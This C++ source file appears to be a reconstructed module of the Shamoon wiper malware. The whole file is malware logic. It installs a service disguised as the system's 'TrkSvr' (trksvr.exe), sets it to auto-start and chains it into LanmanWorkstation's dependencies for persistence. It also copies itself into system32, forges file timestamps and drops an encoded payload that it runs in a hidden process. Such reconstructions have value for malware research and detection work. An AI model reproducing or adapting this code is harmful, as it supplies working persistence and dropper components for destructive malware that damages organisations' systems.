// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "32bit.h"

#include "../Utils/String.h"
#include "../Utils/System.h"
#include "../Utils/IO.h"

#include "Encryption.h"

using namespace Shamoon::Utils::String;
using namespace Shamoon::Utils::System;
using namespace Shamoon::Utils::IO;

using namespace Shamoon::Modules::Encryption;

bool Shamoon::Modules::_32bit::Start32bitService(LPCWSTR lpMachineName, const WCHAR *a2)
{
	//SC_HANDLE v17; // [sp-10h] [bp-41Ch]@9
	//DWORD v18; // [sp-Ch] [bp-418h]@9
	//WCHAR *v19; // [sp-8h] [bp-414h]@9
	SC_HANDLE hSCManager; // [sp+Ch] [bp-400h]@1
	LPCWSTR svc_path; // [sp+10h] [bp-3FCh]@1
	DWORD pcbBytesNeeded; // [sp+18h] [bp-3F4h]@4
	WCHAR Dependencies[500]; // [sp+20h] [bp-3ECh]@29
	LPQUERY_SERVICE_CONFIGW lpServiceConfig;
	
	svc_path = a2;
	hSCManager = OpenSCManagerW(lpMachineName, NULL, SC_MANAGER_ALL_ACCESS);
	if(!hSCManager) return 0;
	
	SC_HANDLE hService = OpenServiceW(hSCManager, MODULE_32BIT_NAME, SC_MANAGER_ALL_ACCESS);
	/** ----->> If the service does not exists create it. <<----- **/
	if(!hService)
	{
		if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST)
		{
			hService = CreateServiceW(hSCManager, MODULE_32BIT_NAME, MODULE_32BIT_SHORT_DESC, 0xF01FF, 0x10, 2, 0, svc_path, 0, 0, L"RpcSs", 0, 0);
			if(hService)
			{
				goto LABEL_14;
			}
		}
		
		CloseServiceHandle(hSCManager);
		return 0;
	}

	pcbBytesNeeded = 0;
	if(!QueryServiceConfigW(hService, NULL, NULL, &pcbBytesNeeded) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
		lpServiceConfig = (LPQUERY_SERVICE_CONFIGW)LocalAlloc(0, pcbBytesNeeded);
	
	if(!QueryServiceConfigW(hService, lpServiceConfig, pcbBytesNeeded, &pcbBytesNeeded))
	{
		/** ----->> Compare the last 3 characters of the dependencies with "vcs" (???) <<----- **/
		//v5 = (WCHAR *)&byte_416552[strlenW(L"C:\\Windows\\system32\\svchost.exe -k netsvcs")]; // Strange
		if(!strcmpW(&lpServiceConfig->lpBinaryPathName[strlenW(lpServiceConfig->lpBinaryPathName) - 3], L"vcs")) // L"vcs" = v5
		{
			CloseServiceHandle(hService);
			CloseServiceHandle(hSCManager);
			
			return 0;
		}
		
		/** ----->> Change service config, register it as startup service <<----- **/
		ChangeServiceConfigW(hService, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, svc_path, NULL, 0, L"RpcSs", NULL, NULL, NULL);
		
LABEL_14:
		/** ----->> Change the service description <<----- **/
		WCHAR *lpszDesc = {MODULE_32BIT_DETAILED_DESC}; // CHECK THIS
		LPVOID ppszDesc = &lpszDesc;
		ChangeServiceConfig2W(hService, SERVICE_CONFIG_DESCRIPTION, ppszDesc);
	}
	
	HKEY hKey;
	if(!lpMachineName && !RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\TrkSvr", 0, KEY_ALL_ACCESS, &hKey))
	{
		RegDeleteValueW(hKey, L"WOW64");
		RegCloseKey(hKey);
	}
	
	/** ----->> Finally start the service <<----- **/
	StartServiceW(hService, 0, NULL);
	CloseServiceHandle(hService);
	
	
	SC_HANDLE svc_lanman = OpenServiceW(hSCManager, L"LanmanWorkstation", SC_MANAGER_ALL_ACCESS);
	if(svc_lanman)
	{
		LPQUERY_SERVICE_CONFIGW v11;
		pcbBytesNeeded = 0;
		if(QueryServiceConfigW(svc_lanman, 0, 0, &pcbBytesNeeded) || GetLastError() != 122)
			v11 = (LPQUERY_SERVICE_CONFIGW)lpMachineName;
		else
			v11 = (LPQUERY_SERVICE_CONFIGW)LocalAlloc(0, pcbBytesNeeded);
		
		if(QueryServiceConfigW(svc_lanman, v11, pcbBytesNeeded, &pcbBytesNeeded))
		{
			WCHAR *dep = v11->lpDependencies;
			INT32 dep_len = 0;
			INT32 v14 = 0;
			if(dep && *dep)
			{
				while(dep[dep_len] || dep[dep_len + 1])
					++dep_len;
				
				v14 = dep_len + 1;
				strcpyW(Dependencies, dep, 2 * (dep_len + 1));
			}
			
			if(!strcmpW(L"TrkSvr", &Dependencies[v14 - strlenW(L"TrkSvr") + 1]))
			{
				strcpyW(&Dependencies[v14], L"TrkSvr", 2 * strlenW(L"TrkSvr"));
				Dependencies[v14 + strlenW(L"TrkSvr")] = 0;
				Dependencies[v14 + strlenW(L"TrkSvr") + 1] = 0;
				ChangeServiceConfigW(svc_lanman, v11->dwServiceType, v11->dwStartType, v11->dwErrorControl, 0, 0, 0, Dependencies, 0, 0, 0);
			}
		}
		
		CloseServiceHandle(svc_lanman);
	}
	
	CloseServiceHandle(hSCManager);
	return 1;
}

bool Shamoon::Modules::_32bit::Get32bitSpecific(WCHAR *szSvcName, WCHAR *szSvcPath)
{
	bool bIsOK = true;
	
	M_STRING01
	(
		szSvcName,
		
		L"trksvr.exe"
	)
	
	M_STRING03
	(
		szSvcPath,
		
		g_szWinDir,
		L"\\system32\\",
		szSvcName
	)
	
	EXECUTE_WOW64_FILE_OPERATION
	(
		HANDLE hFile = CreateFileW(szSvcPath, 0x80000000, 7, 0, 3, 0x100000, 0);
		
		if(hFile != INVALID_HANDLE_VALUE || GetLastError() != ERROR_FILE_NOT_FOUND)
		{
			CloseHandle(hFile);
			
			if(!DeleteFileW(szSvcPath))
				bIsOK = false;
		}
	)
	
	return bIsOK;
}

bool Shamoon::Modules::_32bit::Save32bitModule()
{
	WCHAR szSvcPath[256]; // [sp+Ch] [bp-268h]@1
	WCHAR szSvcFileName[50]; // [sp+20Ch] [bp-68h]@1
	
	if(!Get32bitSpecific(szSvcFileName, szSvcPath))
		return false;

	EXECUTE_WOW64_FILE_OPERATION
	(
		if(!g_argv || !CopyFileW(g_argv[0], szSvcPath, FALSE))
		{
			EXIT_WOW64_FILE_OPERATION
			return false;
		}
	)
	
	SetReliableFileTime(szSvcPath);
	if(Start32bitService(0, szSvcPath))
		return true;
	
	ForceFileDeletion(szSvcPath);
	return false;
}

bool Shamoon::Modules::_32bit::Setup32bitService()
{
	struct _STARTUPINFOW StartupInfo; // [sp+Ch] [bp-4D0h]@16
	struct _PROCESS_INFORMATION ProcessInformation; // [sp+50h] [bp-48Ch]@16
	SC_HANDLE hSvcMngr; // [sp+60h] [bp-47Ch]@2
	SC_HANDLE hService; // [sp+64h] [bp-478h]@3
	LPQUERY_SERVICE_CONFIGW service_config; // [sp+68h] [bp-474h]@6
	DWORD pcbBytesNeeded; // [sp+6Ch] [bp-470h]@4
	bool bSvcFileWritten; // [sp+73h] [bp-469h]@3
	WCHAR szCmdLine[256]; // [sp+74h] [bp-468h]@16
	WCHAR szSvcPath[256]; // [sp+274h] [bp-268h]@9
	WCHAR szSvcFileName[50]; // [sp+474h] [bp-68h]@9
	
	if(!Is32Bit() || (hSvcMngr = OpenSCManagerW(0, 0, SC_MANAGER_ALL_ACCESS)) == 0)
		return false;
	
	bSvcFileWritten = false;
	hService = OpenServiceW(hSvcMngr, L"TrkSvr", SC_MANAGER_ALL_ACCESS);
	
	if(hService)
	{
		pcbBytesNeeded = 0;
		if(!QueryServiceConfigW(hService, 0, 0, &pcbBytesNeeded) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
			service_config = (LPQUERY_SERVICE_CONFIGW)LocalAlloc(0, pcbBytesNeeded);
		
		if(QueryServiceConfigW(hService, service_config, pcbBytesNeeded, &pcbBytesNeeded))
		{
			if(strcmpW(&service_config->lpBinaryPathName[strlenW(service_config->lpBinaryPathName) - strlenW(L"trksvr.exe")], L"trksvr.exe"))
			{
				if(Get32bitSpecific(szSvcFileName, szSvcPath) && WriteEncodedResource(szSvcPath, 0, (LPCWSTR)0x74, L"X509", g_keys[KEY_X509], 4))
				{
					SetReliableFileTime(szSvcPath);
					bSvcFileWritten = true;
				}
				else
				{
					bSvcFileWritten = false;
				}
			}
		}
		CloseServiceHandle(hService);
	}
	CloseServiceHandle(hSvcMngr);
	
	if(!bSvcFileWritten)
		return false;
	
	strcpyW(szCmdLine, g_szWinDir, 2 * strlenW(g_szWinDir));
	strcpyW(&szCmdLine[strlenW(g_szWinDir)], TRKSRV_CMD, 2 * strlenW(TRKSRV_CMD) + 2);
	
	memset(&StartupInfo, 0, 0x44);
	memset(&ProcessInformation, 0, 0x10);
	
	if(!CreateProcessW(NULL, szCmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &StartupInfo, &ProcessInformation))
		return false;
	
	CloseHandle(ProcessInformation.hThread);
	CloseHandle(ProcessInformation.hProcess);
	CloseHandle(StartupInfo.hStdError);
	CloseHandle(StartupInfo.hStdInput);
	CloseHandle(StartupInfo.hStdOutput);
	
	return true;
}